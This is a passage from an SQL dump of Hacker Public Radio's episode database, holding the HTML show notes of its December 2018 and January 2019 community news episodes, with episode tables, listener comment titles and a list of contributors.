href=\"https://hackerpublicradio.org/eps.php?id=2698#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-12-16:\n\"This is a great bit of software\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2698#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2018-12-20:\n\"Neato\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2701#comments\" target=\"_blank\">hpr2701</a></strong>\n(2018-12-10) \"<em>First impressions of the Odroid-go</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2701#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2018-12-10:\n\"Particularly interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2701#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-20:\n\"Particularly interesting +1\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2704#comments\" target=\"_blank\">hpr2704</a></strong>\n(2018-12-13) \"<em>Intro to Scribus</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2704#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2018-12-15:\n\"Excellent show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2705#comments\" target=\"_blank\">hpr2705</a></strong>\n(2018-12-14) \"<em>Evidence-based Medicine</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2705#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-12-20:\n\"smart\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2705#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2018-12-21:\n\"Follow your bliss\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2706#comments\" target=\"_blank\">hpr2706</a></strong>\n(2018-12-17) \"<em>Why I love the IBM AS/400 computer systems</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2706#1\" target=\"_blank\">Comment 1</a>:\nBob on 2018-12-18:\n\"Novell not AS400\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2706#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-20:\n\"Intro music\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2706#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2018-12-31:\n\"Certainly piqued my interest\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2707#comments\" target=\"_blank\">hpr2707</a></strong>\n(2018-12-18) \"<em>Steganalysis 101</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2707#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-12-18:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2707#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-19:\n\"Great intro\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2710#comments\" target=\"_blank\">hpr2710</a></strong>\n(2018-12-21) \"<em>Youtube downloader for channels</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2710#1\" target=\"_blank\">Comment 1</a>:\nGustaf on 2018-12-21:\n\"Thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2712#comments\" target=\"_blank\">hpr2712</a></strong>\n(2018-12-25) \"<em>Steganography</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2712#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-12-28:\n\"Did anyone win ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2716#comments\" target=\"_blank\">hpr2716</a></strong>\n(2018-12-31) \"<em>Really Simple YouTube</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2716#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-12-31:\n\"Already put to use\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-December/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h2>\nThanks to all HPR contributors in 2018!\n</h2>\n<p>\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=361\">Aaressaar</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=290\">Al</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\">b-yeezi</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\">bjb</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\">bookewyrmm</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\">Brian in Ohio</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\">clacke</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">Claudio Miranda</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\">Clinton Roy</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\">David Whitman</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=371\">desearcher</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\">dodddummy</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\">Edward Miro / c1ph0r</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=85\">finux</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\">folky</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\">Honkeymagoo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\">HPR Volunteers</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\">HPR_AudioBookClub</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\">Jeroen Baten</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=360\">Joey Hess</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\">Jon Kulp</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\">JWP</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">klaatu</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\">knightwise</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">lostnbronx</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\">m1rr0r5h4d35</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=362\">MPardo</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\">operat0r</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=366\">Philip</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\">Quvmoh</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\">Shane Shennan</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\">sigflup</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\">Steve Saner</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\">swift110</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\">Thaj Sara</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\">The Alien Brothers Podcast (ABP)</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=363\">the_remora</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\">TheDUDE</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\">thelovebug</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=273\">ToeJet</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes AKA TonyH1212</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\">tuturto</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=158\">Various Creative Commons Works</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\">Various Hosts</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\">Xoke</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=368\">Xtrato</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\">Yannick the french guy from Switzerland</a>.\n</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1);
INSERT INTO `eps` (`id`, `date`, `title`, `duration`, `summary`, `notes`, `hostid`, `series`, `explicit`, `license`, `tags`, `version`, `downloads`, `valid`) VALUES (2741,'2019-02-04','HPR Community News for January 2019',4598,'Yannick Dave and Ken talk about shows released and comments posted in January 2019','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2717\" target=\"_blank\">2717</a></strong></td>\n    <td>Tue</td>\n    <td>2019-01-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2717\" target=\"_blank\">Mobile Device Security</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2718\" target=\"_blank\">2718</a></strong></td>\n    <td>Wed</td>\n    <td>2019-01-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2718\" target=\"_blank\">Genre In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2719\" target=\"_blank\">2719</a></strong></td>\n    <td>Thu</td>\n    <td>2019-01-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2719\" target=\"_blank\">Bash Tips - 17</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2720\" target=\"_blank\">2720</a></strong></td>\n    <td>Fri</td>\n    <td>2019-01-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2720\" target=\"_blank\">Download youtube channels using the rss feeds</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2721\" target=\"_blank\">2721</a></strong></td>\n    <td>Mon</td>\n    <td>2019-01-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2721\" target=\"_blank\">HPR Community News for December 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2722\" target=\"_blank\">2722</a></strong></td>\n    <td>Tue</td>\n    <td>2019-01-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2722\" target=\"_blank\">RAID 6 a short description</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2723\" target=\"_blank\">2723</a></strong></td>\n    <td>Wed</td>\n    <td>2019-01-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2723\" target=\"_blank\">Using Elm in context of 4X game client</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2724\" target=\"_blank\">2724</a></strong></td>\n    <td>Thu</td>\n    <td>2019-01-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2724\" target=\"_blank\">Using a DIN Rail to mount a Raspberry Pi</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2725\" target=\"_blank\">2725</a></strong></td>\n    <td>Fri</td>\n    <td>2019-01-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2725\" target=\"_blank\">The Illumos Shutdown Command Explained</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2726\" target=\"_blank\">2726</a></strong></td>\n    <td>Mon</td>\n    <td>2019-01-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2726\" target=\"_blank\">Home Theater - Part 2 Software (High Level)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2727\" target=\"_blank\">2727</a></strong></td>\n    <td>Tue</td>\n    <td>2019-01-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2727\" target=\"_blank\">Passwords</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2728\" target=\"_blank\">2728</a></strong></td>\n    <td>Wed</td>\n    <td>2019-01-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2728\" target=\"_blank\">The Unreliable Narrator In Storytelling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2729\" target=\"_blank\">2729</a></strong></td>\n    <td>Thu</td>\n    <td>2019-01-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2729\" target=\"_blank\">Bash Tips - 18</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2730\" target=\"_blank\">2730</a></strong></td>\n    <td>Fri</td>\n    <td>2019-01-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2730\" target=\"_blank\">Resizing images for vcard on Android</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2731\" target=\"_blank\">2731</a></strong></td>\n    <td>Mon</td>\n    <td>2019-01-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2731\" target=\"_blank\">My 8 bit Christmas</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2732\" target=\"_blank\">2732</a></strong></td>\n    <td>Tue</td>\n    <td>2019-01-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2732\" target=\"_blank\">Storytelling formula compliance</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2733\" target=\"_blank\">2733</a></strong></td>\n    <td>Wed</td>\n    <td>2019-01-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2733\" target=\"_blank\">Writing Web Game in Haskell - News and Notifications</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2734\" target=\"_blank\">2734</a></strong></td>\n    <td>Thu</td>\n    <td>2019-01-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2734\" target=\"_blank\">Mashpodder</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2735\" target=\"_blank\">2735</a></strong></td>\n    <td>Fri</td>\n    <td>2019-01-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2735\" target=\"_blank\">Soffritto</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2736\" target=\"_blank\">2736</a></strong></td>\n    <td>Mon</td>\n    <td>2019-01-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2736\" target=\"_blank\">Response to show 2720</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2737\" target=\"_blank\">2737</a></strong></td>\n    <td>Tue</td>\n    <td>2019-01-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2737\" target=\"_blank\">My Pioneer RT-707 Reel-to-Reel Tape Deck</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2738\" target=\"_blank\">2738</a></strong></td>\n    <td>Wed</td>\n    <td>2019-01-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2738\" target=\"_blank\">My Applications</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2739\" target=\"_blank\">2739</a></strong></td>\n    <td>Thu</td>\n    <td>2019-01-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2739\" target=\"_blank\">Bash Tips - 19</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 29 comments in total.</p>\n<p>There are 8 comments on\n4 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2629#comments\" target=\"_blank\">hpr2629</a></strong>\n(2018-08-30) \"<em>Thoughts on language learning part 3 - game/story mode.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2629#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2019-01-08:\n\"The Stanley Parable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2668#comments\" target=\"_blank\">hpr2668</a></strong>\n(2018-10-24) \"<em>Explaining the controls on my Amateur HF Radio Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2668#3\" target=\"_blank\">Comment 3</a>:\nMrX on 2019-01-10:\n\"Re Comment 1 from Michael\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2668#4\" target=\"_blank\">Comment 4</a>:\nMrX on 2019-01-10:\n\"Re Comment 2 from lostnbronx\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2709#comments\" target=\"_blank\">hpr2709</a></strong>\n(2018-12-20) \"<em>Bash Tips - 16</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2709#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2019-01-08:\n\"In case you are worried Dave will run out of material\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2709#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2019-01-08:\n\"Bash-5.0\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2712#comments\" target=\"_blank\">hpr2712</a></strong>\n(2018-12-25) \"<em>Steganography</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2712#2\" target=\"_blank\">Comment 2</a>:\nShortFatBaldGuy on 2019-01-04:\n\"Great episode/series\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2712#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2019-01-07:\n\"no lucky winners\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2712#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2019-01-07:\n\"Thanks Scott\"</li></ul><br/>\n</li></ul>\n<p>There are 21 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2717#comments\" target=\"_blank\">hpr2717</a></strong>\n(2019-01-01) \"<em>Mobile Device Security</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2717#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2019-01-25:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2719#comments\" target=\"_blank\">hpr2719</a></strong>\n(2019-01-03) \"<em>Bash Tips - 17</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2719#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-01-07:\n\"Things I didn\'t know\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2719#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2019-01-07:\n\"Substring manipulation\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2721#comments\" target=\"_blank\">hpr2721</a></strong>\n(2019-01-07) \"<em>HPR Community News for December 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2721#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2019-01-15:\n\"Very nice show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2721#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2019-01-16:\n\"Listening through the back catalog\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2725#comments\" target=\"_blank\">hpr2725</a></strong>\n(2019-01-11) \"<em>The Illumos Shutdown Command Explained</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2725#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2019-01-11:\n\"Quite a Different Shutdown\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2726#comments\" target=\"_blank\">hpr2726</a></strong>\n(2019-01-14) \"<em>Home Theater - Part 2 Software (High Level)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2726#1\" target=\"_blank\">Comment 1</a>:\nrtsn on 2019-01-25:\n\"!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2728#comments\" target=\"_blank\">hpr2728</a></strong>\n(2019-01-16) \"<em>The Unreliable Narrator In Storytelling</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2728#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2019-01-17:\n\"As a means for telling two stories at once ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2731#comments\" target=\"_blank\">hpr2731</a></strong>\n(2019-01-21) \"<em>My 8 bit Christmas</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#1\" target=\"_blank\">Comment 1</a>:\ntuturto on 2019-01-23:\n\"amazing memories\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2019-01-23:\n\"This was a real treat\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp on 2019-01-23:\n\"I love legacy hardware\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#4\" target=\"_blank\">Comment 4</a>:\ntimttmy on 2019-01-23:\n\"first contact\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#5\" target=\"_blank\">Comment 5</a>:\nrtsn on 2019-01-25:\n\"c0mment\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2731#6\" target=\"_blank\">Comment 6</a>:\nMike Ray on 2019-01-25:\n\"Jealous\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2734#comments\" 